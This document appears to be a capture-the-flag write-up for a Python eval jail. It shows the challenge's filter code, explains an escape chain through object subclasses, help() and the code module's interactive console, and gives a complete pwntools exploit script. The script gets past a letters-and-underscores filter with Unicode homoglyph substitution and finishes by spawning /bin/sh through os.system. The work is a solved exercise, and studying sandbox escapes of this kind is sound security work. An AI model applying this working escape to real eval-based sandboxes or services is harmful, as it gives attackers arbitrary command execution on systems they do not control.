def check(code):
# no letters
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
# no numbers
numbers = "0123456789"
# no underscores
underscore = "__"
return not any((c in alphabet) or (c in numbers) or (underscore in code) for c in code)
def safe_eval(code):
if (check(code)):
g = {'__builtins__': None}
l = {'__builtins__': None}
return print(eval(code, g, l )) # good luck!
else:
print("lol no")
code = input(">>> ")
safe_eval(code)
Requirements:
(''=='')
as 1().__class__.__base__.__subclasses__()
Then, we can use existing way to get to code.InteractiveConsole().interact()
:
<class '_sitebuiltins._Helper'>
and <class '_sitebuiltins._Printer'>
in ().__class__.__base__.__subclasses__()
help()
via <class '_sitebuiltins._Helper'>
and load code
module in help() systemsys
module via <class '_sitebuiltins._Printer'>.__init__.__globals__
sys.modules["code"].InteractiveConsole().interact()
Attack script:
from pwn import *
context(log_level="debug")
# unicode bypass helper
def transform(text):
encoded = ""
# full width low line
underscore = chr(0xFF3F)
text = text.replace("__", "_" + underscore)
for ch in text:
if ch.isalpha():
if ch >= "a" and ch <= "z":
encoded += chr(ord(ch) + 0x1D41A - ord("a"))
elif ch >= "A" and ch <= "Z":
encoded += chr(ord(ch) + 0x1D400 - ord("A"))
else:
assert False
else:
encoded += ch
print("before", text)
print("after", encoded)
return encoded
# step 1. locate Helper and Printer
p = process(["python3", "chal.py"])
p.recvuntil(b">>> ")
p.sendline(transform("().__class__.__base__.__subclasses__()").encode())
res = p.recvline().decode()
helper_index = res.split(", ").index("<class '_sitebuiltins._Helper'>")
printer_index = res.split(", ").index("<class '_sitebuiltins._Printer'>")
print("Helper", helper_index)
print("Printer", printer_index)
# A is 10, B is 100
true = "(''=='')"
ten = "+".join([true] * 10)
def get_index(index):
parts = (
[true] * (index % 10) + ["A"] * (index // 10 % 10) + ["B"] * (index // 100 % 10)
)
return "+".join(parts)
# H for index of helper
helper = get_index(helper_index)
print(helper)
# find help text of helper
p = process(["python3", "chal.py"])
p.recvuntil(b">>> ")
p.sendline(
transform(
f"[A:={ten},B:=A*A,H:={helper},S:=().__class__.__base__.__subclasses__()[H].__doc__]"
).encode()
)
help_text = eval(p.recvline().decode())[-1]
# P for index of printer
printer = get_index(printer_index)
print(printer)
# synthesize "sys" and "code"
def synthesize(text):
res = []
for ch in text:
index = help_text.index(ch)
res.append("S[" + get_index(index) + "]")
return "+".join(res)
p = process(["python3", "chal.py"])
p.recvuntil(b">>> ")
p.sendline(
transform(
f"[A:={ten},B:=A*A,H:={helper},P:={printer},S:=().__class__.__base__.__subclasses__()[H].__doc__,"
# step 2. call help()
+ f"().__class__.__base__.__subclasses__()[H]()(),"
# step 3. locate sys module
+ f"M:=().__class__.__base__.__subclasses__()[P].__init__.__globals__[{synthesize('sys')}],"
# step 4. call sys.modules["code"].InteractiveConsole().interact()
+ f"M.modules[{synthesize('code')}].InteractiveConsole().interact()]"
).encode()
)
p.recvuntil(b"help> ")
# step 2. load code module in help() system
p.sendline(b"code")
p.sendline(b"quit")
p.sendline(b"import os")
p.sendline(b'os.system("/bin/sh")')
p.interactive()